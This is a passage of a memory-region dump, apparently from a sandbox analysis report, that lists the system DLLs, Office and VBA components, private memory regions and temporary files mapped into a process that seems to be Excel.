	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 496
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 497
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 498
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 499
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 500
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 501
	        start_va = 0x7fefd5f0000
	          end_va = 0x7fefd611fff
	     entry_point = 0x7fefd5f0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 502
	        start_va = 0x7fefd620000
	          end_va = 0x7fefd66dfff
	     entry_point = 0x7fefd620000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 503
	        start_va = 0x7fefd980000
	          end_va = 0x7fefd9a2fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 504
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 505
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 506
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 507
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 508
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 509
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 510
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 511
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 512
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd59fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 513
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 514
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 515
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 516
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 517
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 518
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 519
	        start_va = 0x7fefed90000
	          end_va = 0x7fefee26fff
	     entry_point = 0x7fefed90000
	     region_type = mapped_file
	            name = "comdlg32.dll"
	        filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll")

Region:
	              id = 520
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 521
	        start_va = 0x7fefee80000
	          end_va = 0x7feff0d8fff
	     entry_point = 0x7fefee80000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 522
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 523
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 524
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 525
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 526
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 527
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 528
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 529
	        start_va = 0x7feff6e0000
	          end_va = 0x7feff857fff
	     entry_point = 0x7feff6e0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 530
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 531
	        start_va = 0x7feff870000
	          end_va = 0x7feff999fff
	     entry_point = 0x7feff870000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 532
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 533
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 534
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 535
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 536
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 537
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 538
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 539
	        start_va = 0x7fffff52000
	          end_va = 0x7fffff53fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff52000"
	        filename = ""

Region:
	              id = 540
	        start_va = 0x7fffff54000
	          end_va = 0x7fffff55fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff54000"
	        filename = ""

Region:
	              id = 541
	        start_va = 0x7fffff56000
	          end_va = 0x7fffff57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff56000"
	        filename = ""

Region:
	              id = 542
	        start_va = 0x7fffff58000
	          end_va = 0x7fffff59fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff58000"
	        filename = ""

Region:
	              id = 543
	        start_va = 0x7fffff5a000
	          end_va = 0x7fffff5bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5a000"
	        filename = ""

Region:
	              id = 544
	        start_va = 0x7fffff5c000
	          end_va = 0x7fffff5dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5c000"
	        filename = ""

Region:
	              id = 545
	        start_va = 0x7fffff5e000
	          end_va = 0x7fffff5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5e000"
	        filename = ""

Region:
	              id = 546
	        start_va = 0x7fffff60000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff60000"
	        filename = ""

Region:
	              id = 547
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 548
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 549
	        start_va = 0x7fffff82000
	          end_va = 0x7fffff83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff82000"
	        filename = ""

Region:
	              id = 550
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 551
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 552
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 553
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 554
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 555
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 556
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 557
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 558
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 559
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 560
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 561
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 562
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 563
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 564
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 565
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 566
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 567
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 568
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 569
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 570
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 571
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 572
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 573
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 574
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 575
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 576
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 577
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 578
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 579
	        start_va = 0x50d0000
	          end_va = 0x50d1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050d0000"
	        filename = ""

Region:
	              id = 580
	        start_va = 0x50e0000
	          end_va = 0x50e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050e0000"
	        filename = ""

Region:
	              id = 581
	        start_va = 0x6840000
	          end_va = 0x6840fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006840000"
	        filename = ""

Region:
	              id = 582
	        start_va = 0x6ac0000
	          end_va = 0x6b3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006ac0000"
	        filename = ""

Region:
	              id = 583
	        start_va = 0x6eb0000
	          end_va = 0x6f2ffff
	     entry_point = 0x6eb0000
	     region_type = mapped_file
	            name = "~dfdb96a2dac256e4ac.tmp"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFDB96A2DAC256E4AC.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfdb96a2dac256e4ac.tmp")

Region:
	              id = 584
	        start_va = 0xd4c0000
	          end_va = 0xd53ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d4c0000"
	        filename = ""

Region:
	              id = 585
	        start_va = 0xdd70000
	          end_va = 0xed6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000000dd70000"
	        filename = ""

Region:
	              id = 586
	        start_va = 0xef40000
	          end_va = 0xefbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ef40000"
	        filename = ""

Region:
	              id = 587
	        start_va = 0x7fee61b0000
	          end_va = 0x7fee6736fff
	     entry_point = 0x7fee61b0000
	     region_type = mapped_file
	            name = "gkexcel.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll")

Region:
	              id = 588
	        start_va = 0x4bb0000
	          end_va = 0x4bb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bb0000"
	        filename = ""

Region:
	              id = 589
	        start_va = 0x7fef2f30000
	          end_va = 0x7fef2f6afff
	     entry_point = 0x7fef2f30000
	     region_type = mapped_file
	            name = "mlang.dll"
	        filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll")

Region:
	              id = 590
	        start_va = 0x7fef6100000
	          end_va = 0x7fef62f1fff
	     entry_point = 0x7fef6100000
	     region_type = mapped_file
	            name = "msxml6.dll"
	        filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")

Region:
	              id = 591
	        start_va = 0x4bc0000
	          end_va = 0x4bc0fff
	     entry_point = 0x4bc0000
	     region_type = mapped_file
	            name = "msxml6r.dll"
	        filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")

Region:
	              id = 592
	        start_va = 0x50f0000
	          end_va = 0x5100fff
	     entry_point = 0x50f0000
	     region_type = mapped_file
	            name = "c_1251.nls"
	        filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls")

Region:
	              id = 593
	        start_va = 0x5110000
	          end_va = 0x5112fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005110000"
	        filename = ""

Region:
	              id = 594
	        start_va = 0xc620000
	          end_va = 0xc69ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c620000"
	        filename = ""

Region:
	              id = 595
	        start_va = 0xce20000
	          end_va = 0xce9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ce20000"
	        filename = ""

Region:
	              id = 596
	        start_va = 0xd3c0000
	          end_va = 0xd43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d3c0000"
	        filename = ""

Region:
	              id = 597
	        start_va = 0xefc0000
	          end_va = 0xf3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000efc0000"
	        filename = ""

Region:
	              id = 598
	        start_va = 0x75770000
	          end_va = 0x75841fff
	     entry_point = 0x75770000
	     region_type = mapped_file
	            name = "msvcr100.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll")

Region:
	              id = 599
	        start_va = 0x7fee5d60000
	          end_va = 0x7fee61a7fff
	     entry_point = 0x7fee5d60000
	     region_type = mapped_file
	            name = "vbe7.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll")

Region:
	              id = 600
	        start_va = 0x7fee6ae0000
	          end_va = 0x7fee6b99fff
	     entry_point = 0x7fee6ae0000
	     region_type = mapped_file
	            name = "uiautomationcore.dll"
	        filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll")

Region:
	              id = 601
	        start_va = 0x5340000
	          end_va = 0x534ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005340000"
	        filename = ""

Region:
	              id = 602
	        start_va = 0xd540000
	          end_va = 0xd63ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d540000"
	        filename = ""

Region:
	              id = 603
	        start_va = 0x7fefda90000
	          end_va = 0x7fefdb20fff
	     entry_point = 0x7fefda90000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 604
	        start_va = 0xf3c0000
	          end_va = 0xf651fff
	     entry_point = 0xf3c0000
	     region_type = mapped_file
	            name = "vbeui.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll")

Region:
	              id = 605
	        start_va = 0xf3c0000
	          end_va = 0xf651fff
	     entry_point = 0xf3c0000
	     region_type = mapped_file
	            name = "vbeui.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll")

Region:
	              id = 606
	        start_va = 0x7fee5ac0000
	          end_va = 0x7fee5d5dfff
	     entry_point = 0x7fee5ac0000
	     region_type = mapped_file
	            name = "vbeui.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll")

Region:
	              id = 607
	        start_va = 0x5120000
	          end_va = 0x5122fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005120000"
	        filename = ""

Region:
	              id = 608
	        start_va = 0x5130000
	          end_va = 0x513ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005130000"
	        filename = ""

Region:
	              id = 609
	        start_va = 0x7fee6ab0000
	          end_va = 0x7fee6ad5fff
	     entry_point = 0x7fee6ab0000
	     region_type = mapped_file
	            name = "vbe7intl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll")

Region:
	              id = 610
	        start_va = 0x5310000
	          end_va = 0x5319fff
	     entry_point = 0x5310000
	     region_type = mapped_file
	            name = "normnfd.nls"
	        filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls")

Region:
	              id = 611
	        start_va = 0x5320000
	          end_va = 0x5320fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005320000"
	        filename = ""

Region:
	              id = 612
	        start_va = 0x54c0000
	          end_va = 0x54fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054c0000"
	        filename = ""

Region:
	              id = 613
	        start_va = 0x5330000
	          end_va = 0x5332fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005330000"
	        filename = ""

Region:
	              id = 614
	        start_va = 0x5360000
	          end_va = 0x5363fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005360000"
	        filename = ""

Region:
	              id = 615
	        start_va = 0x5650000
	          end_va = 0x5650fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005650000"
	        filename = ""

Region:
	              id = 616
	        start_va = 0x5660000
	          end_va = 0x5660fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005660000"
	        filename = ""

Region:
	              id = 617
	        start_va = 0x5670000
	          end_va = 0x5670fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005670000"
	        filename = ""

Region:
	              id = 618
	        start_va = 0x57a0000
	          end_va = 0x57a7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057a0000"
	        filename = ""

Region:
	              id = 619
	        start_va = 0x6960000
	          end_va = 0x699ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006960000"
	        filename = ""

Region:
	              id = 620
	        start_va = 0x57b0000
	          end_va = 0x57b2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057b0000"
	        filename = ""

Region:
	              id = 621
	        start_va = 0x6f30000
	          end_va = 0x6faffff
	     entry_point = 0x6f30000
	     region_type = mapped_file
	            name = "~df0650d90fc58b7e35.tmp"
